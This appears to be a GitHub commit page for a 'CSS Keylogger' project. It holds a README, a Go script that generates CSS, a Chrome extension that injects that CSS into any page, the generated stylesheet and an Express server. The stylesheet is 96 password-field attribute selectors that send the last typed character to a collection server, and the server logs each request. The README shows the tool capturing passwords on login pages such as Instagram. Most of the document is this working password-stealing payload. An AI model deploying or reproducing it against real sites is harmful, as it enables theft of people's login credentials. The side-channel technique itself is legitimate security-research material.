-
Notifications
You must be signed in to change notification settings - Fork 74
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit c36f1c5
Showing
9 changed files
with
508 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
node_modules/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
# CSS Keylogger | ||
|
||
Chrome extension and Express server that exploits keylogging abilities of CSS. | ||
|
||
## To use | ||
|
||
### Setup Chrome extension | ||
|
||
1. Download repository `git clone https://github.com/maxchehab/CSS-Keylogging` | ||
2. Visit `chrome://extensions` in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place). | ||
3. Ensure that the Developer mode checkbox in the top right-hand corner is checked. | ||
4. Click Load unpacked extension… to pop up a file-selection dialog. | ||
5. Select the `css-keylogger-extension` in the directory which you downloaded this repository. | ||
|
||
### Setup Express server | ||
|
||
1. yarn | ||
2. yarn start | ||
|
||
### Haxking l33t passw0rds | ||
|
||
1. Open any website login page. [https://instagram.com](https://www.instagram.com/). | ||
2. Press the extension `C` on the top right of any webpage. | ||
3. Type your password. | ||
4. Your password should be captured by the express server. | ||
|
||
## How it works | ||
|
||
This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a `background-image`. | ||
|
||
For example, the following css will select all input's with a `type` that equals `password` and a `value` that ends with `a`. | ||
It will then try to load an image from `http://localhost:3000/a`. | ||
|
||
```css | ||
input[type="password"][value$="a"] { | ||
background-image: url("http://localhost:3000/a"); | ||
} | ||
``` | ||
|
||
Using a simple [script](https://github.com/maxchehab/CSS-Keylogging/blob/master/build.go) one can create a (css file)[https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css] that will send a custom request for every ASCII character. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
package main | ||
|
||
import ( | ||
"fmt" | ||
"log" | ||
"net/url" | ||
"os" | ||
) | ||
|
||
func main() { | ||
fmt.Println("Building keylogger.css") | ||
|
||
output, err := os.Create("./css-keylogger-extension/keylogger.css") | ||
if err != nil { | ||
log.Fatal("Cannot create output", err) | ||
} | ||
defer output.Close() | ||
for c := 32; c < 128; c++ { | ||
value := fmt.Sprintf("%c", c) | ||
urlValue := url.QueryEscape(value) | ||
|
||
if value == `"` { | ||
value = `\"` | ||
} else if value == `}` { | ||
value = `\\}` | ||
} else if value == `\` { | ||
value = `\\` | ||
} | ||
fmt.Fprintf(output, `input[type="password"][value$="%v"] { background-image: url("http://localhost:3000/%v"); }`, value, urlValue) | ||
fmt.Fprintf(output, "\n") | ||
} | ||
fmt.Println("Complete.") | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
chrome.browserAction.onClicked.addListener(tab => { | ||
chrome.tabs.insertCSS(tab.ib, { | ||
file: "keylogger.css" | ||
}); | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,96 @@ | ||
input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } | ||
input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); } | ||
input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); } | ||
input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); } | ||
input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); } | ||
input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); } | ||
input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); } | ||
input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); } | ||
input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); } | ||
input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); } | ||
input[type="password"][value$="*"] { background-image: url("http://localhost:3000/%2A"); } | ||
input[type="password"][value$="+"] { background-image: url("http://localhost:3000/%2B"); } | ||
input[type="password"][value$=","] { background-image: url("http://localhost:3000/%2C"); } | ||
input[type="password"][value$="-"] { background-image: url("http://localhost:3000/-"); } | ||
input[type="password"][value$="."] { background-image: url("http://localhost:3000/."); } | ||
input[type="password"][value$="/"] { background-image: url("http://localhost:3000/%2F"); } | ||
input[type="password"][value$="0"] { background-image: url("http://localhost:3000/0"); } | ||
input[type="password"][value$="1"] { background-image: url("http://localhost:3000/1"); } | ||
input[type="password"][value$="2"] { background-image: url("http://localhost:3000/2"); } | ||
input[type="password"][value$="3"] { background-image: url("http://localhost:3000/3"); } | ||
input[type="password"][value$="4"] { background-image: url("http://localhost:3000/4"); } | ||
input[type="password"][value$="5"] { background-image: url("http://localhost:3000/5"); } | ||
input[type="password"][value$="6"] { background-image: url("http://localhost:3000/6"); } | ||
input[type="password"][value$="7"] { background-image: url("http://localhost:3000/7"); } | ||
input[type="password"][value$="8"] { background-image: url("http://localhost:3000/8"); } | ||
input[type="password"][value$="9"] { background-image: url("http://localhost:3000/9"); } | ||
input[type="password"][value$=":"] { background-image: url("http://localhost:3000/%3A"); } | ||
input[type="password"][value$=";"] { background-image: url("http://localhost:3000/%3B"); } | ||
input[type="password"][value$="<"] { background-image: url("http://localhost:3000/%3C"); } | ||
input[type="password"][value$="="] { background-image: url("http://localhost:3000/%3D"); } | ||
input[type="password"][value$=">"] { background-image: url("http://localhost:3000/%3E"); } | ||
input[type="password"][value$="?"] { background-image: url("http://localhost:3000/%3F"); } | ||
input[type="password"][value$="@"] { background-image: url("http://localhost:3000/%40"); } | ||
input[type="password"][value$="A"] { background-image: url("http://localhost:3000/A"); } | ||
input[type="password"][value$="B"] { background-image: url("http://localhost:3000/B"); } | ||
input[type="password"][value$="C"] { background-image: url("http://localhost:3000/C"); } | ||
input[type="password"][value$="D"] { background-image: url("http://localhost:3000/D"); } | ||
input[type="password"][value$="E"] { background-image: url("http://localhost:3000/E"); } | ||
input[type="password"][value$="F"] { background-image: url("http://localhost:3000/F"); } | ||
input[type="password"][value$="G"] { background-image: url("http://localhost:3000/G"); } | ||
input[type="password"][value$="H"] { background-image: url("http://localhost:3000/H"); } | ||
input[type="password"][value$="I"] { background-image: url("http://localhost:3000/I"); } | ||
input[type="password"][value$="J"] { background-image: url("http://localhost:3000/J"); } | ||
input[type="password"][value$="K"] { background-image: url("http://localhost:3000/K"); } | ||
input[type="password"][value$="L"] { background-image: url("http://localhost:3000/L"); } | ||
input[type="password"][value$="M"] { background-image: url("http://localhost:3000/M"); } | ||
input[type="password"][value$="N"] { background-image: url("http://localhost:3000/N"); } | ||
input[type="password"][value$="O"] { background-image: url("http://localhost:3000/O"); } | ||
input[type="password"][value$="P"] { background-image: url("http://localhost:3000/P"); } | ||
input[type="password"][value$="Q"] { background-image: url("http://localhost:3000/Q"); } | ||
input[type="password"][value$="R"] { background-image: url("http://localhost:3000/R"); } | ||
input[type="password"][value$="S"] { background-image: url("http://localhost:3000/S"); } | ||
input[type="password"][value$="T"] { background-image: url("http://localhost:3000/T"); } | ||
input[type="password"][value$="U"] { background-image: url("http://localhost:3000/U"); } | ||
input[type="password"][value$="V"] { background-image: url("http://localhost:3000/V"); } | ||
input[type="password"][value$="W"] { background-image: url("http://localhost:3000/W"); } | ||
input[type="password"][value$="X"] { background-image: url("http://localhost:3000/X"); } | ||
input[type="password"][value$="Y"] { background-image: url("http://localhost:3000/Y"); } | ||
input[type="password"][value$="Z"] { background-image: url("http://localhost:3000/Z"); } | ||
input[type="password"][value$="["] { background-image: url("http://localhost:3000/%5B"); } | ||
input[type="password"][value$="\\"] { background-image: url("http://localhost:3000/%5C"); } | ||
input[type="password"][value$="]"] { background-image: url("http://localhost:3000/%5D"); } | ||
input[type="password"][value$="^"] { background-image: url("http://localhost:3000/%5E"); } | ||
input[type="password"][value$="_"] { background-image: url("http://localhost:3000/_"); } | ||
input[type="password"][value$="`"] { background-image: url("http://localhost:3000/%60"); } | ||
input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } | ||
input[type="password"][value$="b"] { background-image: url("http://localhost:3000/b"); } | ||
input[type="password"][value$="c"] { background-image: url("http://localhost:3000/c"); } | ||
input[type="password"][value$="d"] { background-image: url("http://localhost:3000/d"); } | ||
input[type="password"][value$="e"] { background-image: url("http://localhost:3000/e"); } | ||
input[type="password"][value$="f"] { background-image: url("http://localhost:3000/f"); } | ||
input[type="password"][value$="g"] { background-image: url("http://localhost:3000/g"); } | ||
input[type="password"][value$="h"] { background-image: url("http://localhost:3000/h"); } | ||
input[type="password"][value$="i"] { background-image: url("http://localhost:3000/i"); } | ||
input[type="password"][value$="j"] { background-image: url("http://localhost:3000/j"); } | ||
input[type="password"][value$="k"] { background-image: url("http://localhost:3000/k"); } | ||
input[type="password"][value$="l"] { background-image: url("http://localhost:3000/l"); } | ||
input[type="password"][value$="m"] { background-image: url("http://localhost:3000/m"); } | ||
input[type="password"][value$="n"] { background-image: url("http://localhost:3000/n"); } | ||
input[type="password"][value$="o"] { background-image: url("http://localhost:3000/o"); } | ||
input[type="password"][value$="p"] { background-image: url("http://localhost:3000/p"); } | ||
input[type="password"][value$="q"] { background-image: url("http://localhost:3000/q"); } | ||
input[type="password"][value$="r"] { background-image: url("http://localhost:3000/r"); } | ||
input[type="password"][value$="s"] { background-image: url("http://localhost:3000/s"); } | ||
input[type="password"][value$="t"] { background-image: url("http://localhost:3000/t"); } | ||
input[type="password"][value$="u"] { background-image: url("http://localhost:3000/u"); } | ||
input[type="password"][value$="v"] { background-image: url("http://localhost:3000/v"); } | ||
input[type="password"][value$="w"] { background-image: url("http://localhost:3000/w"); } | ||
input[type="password"][value$="x"] { background-image: url("http://localhost:3000/x"); } | ||
input[type="password"][value$="y"] { background-image: url("http://localhost:3000/y"); } | ||
input[type="password"][value$="z"] { background-image: url("http://localhost:3000/z"); } | ||
input[type="password"][value$="{"] { background-image: url("http://localhost:3000/%7B"); } | ||
input[type="password"][value$="|"] { background-image: url("http://localhost:3000/%7C"); } | ||
input[type="password"][value$="\\}"] { background-image: url("http://localhost:3000/%7D"); } | ||
input[type="password"][value$="~"] { background-image: url("http://localhost:3000/~"); } | ||
input[type="password"][value$=""] { background-image: url("http://localhost:3000/%7F"); } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
{ | ||
"name": "Css Keylogger", | ||
"version": "0.0.1", | ||
"manifest_version": 2, | ||
"description": "Css Keylogger", | ||
"background": { | ||
"scripts": ["background.js"], | ||
"persistent": true | ||
}, | ||
"browser_action": { | ||
"default_title": "Css Keylogger" | ||
}, | ||
"permissions": ["https://*/*", "http://*/*", "tabs"] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
{ | ||
"name": "css-keylogger", | ||
"version": "1.0.0", | ||
"main": "index.js", | ||
"license": "MIT", | ||
"dependencies": { | ||
"express": "^4.16.2" | ||
}, | ||
"scripts": { | ||
"build": "go run build.go", | ||
"start":"node server.js" | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
const express = require("express"); | ||
const app = express(); | ||
|
||
app.get("/:key", (req, res) => { | ||
process.stdout.write(req.params.key); | ||
return res.sendStatus(400); | ||
}); | ||
|
||
app.listen(3000, () => console.log("> Ready to keylog at localhost:3000")); |
Oops, something went wrong.